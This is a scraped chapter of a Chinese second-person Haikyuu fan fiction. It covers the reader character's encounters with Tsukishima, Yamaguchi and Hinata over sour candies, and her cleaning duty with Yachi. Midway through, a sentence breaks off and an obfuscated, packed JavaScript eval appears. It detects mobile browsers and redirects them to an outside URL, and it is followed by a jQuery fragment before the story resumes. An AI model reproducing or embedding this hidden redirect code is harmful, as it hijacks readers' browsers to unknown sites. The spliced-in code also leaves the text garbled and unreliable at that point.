5. 无变化

作品:《[排球]怎么可能喜欢他

    你不自觉睁大了双眼,眼中满是惊喜,嘴角也不受控制的上扬。


    最后只有上扬的弧度留下了,眼睛却因为表情弯成下撇的弧线。


    “谢谢你,月岛。”


    一直看着路边缓解紧张的月岛,忍不住再次看向你。


    认识这么久,还是第一次看见你笑。


    …微妙。


    ·


    当你第二次在走进教学楼的路上碰到结束早训的月岛和山口时,你终于意识到,可能是你选择的出门时间导致了这种巧合。


    这次你选择主动出击,只说了早上好三个字。


    山口回应了你,月岛没有说话,只是静静的看着你。


    你下意识想自己是不是又说错了什么,但‘早上好’三个字是无论如何也不可能引起任何误会的,更何况这只是礼节性的问候语,不包含任何个人情绪。


    难道是因为昨天的事?


    就在这时,山口突然看向你身后,轻轻“啊”了一声,像是看到了什么值得在意的人。


    你回头看去,只看到一个抱着排球的男生朝这边走来。


    他最先注意到的是月岛,这个嘛…从抬头的角度就能发现。


    你看见他微微瞪圆的眼睛先是惊讶,然后眉头下压,斗志在眼中燃烧。


    再然后,他冲了过来。


    虽然意识到他绝不可能是冲你来的,但你怕他刹不住车,所以还是下意识往后一躲,躲到离你最近的山口身后。


    他看上去有话要说,事实上,他也是为了这个来的。


    但令在场所有人都没想到的是,先开口的人居然会是月岛。


    他微眯着眼,瞳光暗掉一半,语气不善:“干什么?”


    山口觉得这一幕有些眼熟,初次见面的时候,月岛也是这么吓退那些坏小孩的。


    但日向不是坏小孩,而是他们未来的队友。


    不等他开口制止一场即将发生的风暴,你们就听见抱着排球的男生说:


    “你们…去早训了对吧!”


    听上去很不甘心。


    “那又怎么了。”


    “可恶…”男生咬着牙,很快,又大声宣布:“等打败你们,我也会来早训的…和所有人一起!”


    “哈。”月岛毫无感情的轻笑一声,“那还真是努力啊…为了早训。”


    “哧。”山口没忍住,笑出了声。


    他很容易被月岛嘲讽人的话逗笑。


    你藏在山口身后,朝外探头,趁两人注意力都不在你身上,光明正大的打量这个陌生人。


    个子…好像不是很高,尤其是站在本来就比同龄人要高的山口和月岛面前,亏他还敢一个人冲过来放狠话。


    面对月岛炉火纯青的嘲讽,日向猛的一噎,最后闷着脑袋,虽然不甘心,但还是只能离开。


    就在他从山口身边经过时,突然抬头。


    你没来得及收回的视线就这么跟他对上。


    他定住了。


    思索一番,终于想起在他冲过来的时候,好像原本有个站在这边的身影突然消失…


    你看到他脸瞬间涨红,然后猛的一鞠躬,嘴里喊着——


    “抱歉!雪村同学。”


    突如其来的道歉惊的你又是一抖,在无人注意的角落里,月岛原本有所好转的脸色又变差了。


    啧。


    你还没想明白他为什么道歉,就发现了另一个问题。


    “你认识我?”


    原本已经抬起头的日向看了你一眼,磕磕绊绊的开口:“是、是听班上的同学说一年级有个白头发的…呃…”


    你歪了歪头,示意他继续。


    日向眼睛一闭,干脆道:


    “美女。”


    空气顿时安静。


    日向又是一阵道歉。


    你不知道该说什么,只连忙摆手,但他低着头,根本看不见。


    没办法了。


    你拍了拍他的肩膀。


    他抬起头,表情还有点懵。


    “不用道歉,我没有生气。”


    你表情诚恳。


    为了证明自己说的是真的,还从口袋摸出两颗糖。


    “这个给你。”


    日向楞楞地接过,刚打算跟你道谢,就听见月岛说:


    “这是在哄小孩吗。”


    日向因为这个比喻整个人又羞又怒,可他突然发现,你也下意识皱了皱眉,且情绪顿时变得有些低落。


    看你跟月岛他们站在一起,他还以为你们几个是好朋友来着。


    不过也有可能…


    “月岛,你是因为雪村同学没给你糖在不高兴吗?”


    哇…他胆子真的很大。


    你由衷感慨着。


    就在你以为月岛会像之前那样以更精妙的讥讽回击时,只听见阴沉的一声——


    “哈?”


    日向作出防御手势,功夫电影里常见的那种。


    场面一触即发,可就在这时,你不算引人注意的声音骤然响起。


    “月岛。”


    他低头看你。


    “怎么?”


    声音比平时还要冷漠。


    你突然有点后悔,手心被软糖的塑料锯齿磨的有点痛,但还是干脆利落的走到他面前,几乎是把东西塞到他手里,指尖甚至短暂抵靠在他的手心。


    他下意识收拢修长的手指,差点连用你的手指一起握住。


    “没有了。”你闷声道。


    你给所有人都是两颗,只有他是一颗。


    但那是最后一颗。


    说完,你朝山口和日向点点头,一个人走了。


    那颗有着塑料锯齿,曾硌疼你的糖,此刻也硌在月岛的手心,因为已经被另一只手捂热,分不清是否留有余温。


    走向教室的路上,月岛一直松松的攥着那颗糖,粗看还以为他手里什么也没有。


    只有他自己知道,那颗酸的要命的糖,一直在那。


    ·


    更久以前他还笑过你,因为你被糖酸到的时候会不自觉的耸起肩膀,眼睛闭的比任何时候更紧,甚至还会因为酸到冒出眼泪,把睫毛浸湿。


    他既想笑,又无法理解:


    “明知道酸为什么还一直买。”


    你缓了一会才缓过劲,软糖含在一边,不影响说话。


    “酸过以后,很甜。”


    当时你还没有提神的需要,每次去水族馆都要在纪念品店买这种糖,只是因为喜欢。


    第一次跟月岛一起去宫城县的水族馆时,你把这种糖介绍给他,他没有怀疑,在你期待的注视下一口含住。


    酸的要命。


    但又不想有过分夸张的反应,所以他极力克制住自己表情,只是没有压抑心情。


    他怀疑你在恶作剧,亏他那么信任你。


    可当他看见你毫无杂质的眼睛时,又觉得自己误会你了。


    等酸劲过去,他若无其事的说:


    “还行。”


    算是评价。


    “是吧!”你很高兴。


    还行就是很高很高的评价了!


    比这更高的,你暂时只能想到‘不错’。


    ·


    你走进教室,发现小松美里已经到了,还跟你挥手道了声早上好。


    你一边放下制服包,一边回以早安。


    小松美里看见,在你坐下的时候,月岛也从你身边经过,径直走向自己的位置。


    “我加入戏剧部了,抱歉啊,背叛了我们的无社团友谊。”


    “恭喜,戏剧部很适合你。”你陈述着客观事实。


    “我正在争取台词最多的角色。”


    “嗯,这种角色也很…”你试图换个形容,让自己听上去不那么敷衍。


    “适合我。对吧。”


    “嗯。”你如释重负的点头。


    没有参加社团活动的学生,需要靠放学后的义务劳动折抵学分。


    你分配到了教学楼后的垃圾清理工作,和4班的一个女生一起。


    “雪村凉子,请多指教。”


    你跟一边自我介绍,一边有些担心的看着这个莫名发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976383|193512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抖的女生。


    她很冷吗?


    是不是早点回去加衣服比较好?要是感冒就难办了。


    所以要跟她说吗?如果冷的话她可以先走,下次再还…好吧不还你也行。


    反正任务量也不大,你一个人也可以。


    “我、我是…”


    “你是?”你重复她的话,引导她把话说完。


    “1年5班的谷地仁花,请、请不要赶我走!我会努力完成工作绝对不打扰雪村同学的!”


    啊…你好像快把她吓晕了。


    难道上了高中,你突然从好欺负进化成爱欺负人的角色了吗?


    “我没有要赶你走,只是担心你会感冒,因为你在发抖。”


    听你这么一说,谷地仁花不抖了,有些发愣。


    和传闻那个因为被同学搭话,所以一口气叫他们全部滚开的坏脾气美女完全不一样。


    不仅没有叫她滚。


    还担心她生病。


    她真是…太糟糕了!


    居然听信那种无凭无据的传言!


    “抱歉!”


    怎么又是道歉。


    你下意识一模口袋,摸到空空如也的衬布才意识到最后一颗糖已经给了月岛。


    你在口袋里收紧五指,指尖抵在手心。


    “虽然不知道你为什么道歉,但是没关系。你不冷就好。”


    “诶?雪村同学…不知道吗?”仁花有些意外。


    “不知道什么?”你好奇的看向她。


    仁花觉得当面说那些不实消息不太好,但如果对当事人隐瞒相比之下更显糟糕。


    最后她决定把那些传闻告诉你,一边说,一边观察着你的表情。


    你听完。


    笑了。


    看到你的笑容,仁花睁大双眼,嘴也微微张开。


    “那不是很好吗。”你笑着说,“而且也不算无凭无据啦,确实发生过那种事情。”


    作为交换,你说出了你知道的真相。


    “不过…”随着语调下落,笑容也从你脸上消失,“不是我自己把人赶走的,是另一个人,他们是顾忌他才…”


    “另一个…”说到一半,仁花意识到你可能不愿意提起对方,又止住了话语。


    你注意到了,也觉得自己的说法有点怪,又不是什么不能提的人。


    “是坐在我前面的月岛,可能也是被后面的人吵到了,就戴上了耳机。”


    “诶…”仁花小声感慨着。


    你莫名听懂她的潜台词。


    “只是这样,就把人吓跑了,很厉害对吧?”


    啊?


    很厉害吗。


    仁花想的不是这个,但比起被误解,她更在意你提到月岛时微妙的神态。


    总感觉…有种说不上来的无奈,但估计连你自己都没有意识到这一点。


    “那、既然雪村同学也没有加入社团,那以后的义务劳动要不要一起?”


    你从思绪中抽离,重新看向她。


    仁花以为她的邀请对你来说太冒犯,连忙解释:


    “我可以全程不说话!这样…雪村同学就不会有困扰了吧?”


    你没懂。


    “困扰?”过了一会,你领会她的好意,这次没有误会。


    “如果只是听别人说话我不会觉得有困扰。”


    “不习惯说太多,是因为怕自己说错话,类似于…多说多错之类的,我想努力避免这种情况发生。”


    “但是…”


    你抬起不知何时垂下的眼睫,认真的看着仁花:


    “如果是仁花的话,好像没那么担心了。”


    “啊。”你突然意识到自己说的话可能又会造成误解,“我不是说仁花好欺负的意思,我是想说,呃…”


    糟糕,没想到这种时候也会出问题。


    “是觉得和我相处比较轻松的意思吗?”


    仁花眨了眨眼,试图猜测你的想法,但说完也觉得不好意思,像自卖自夸一样。


    但你却像抓住了救命稻草似的,狠狠点头。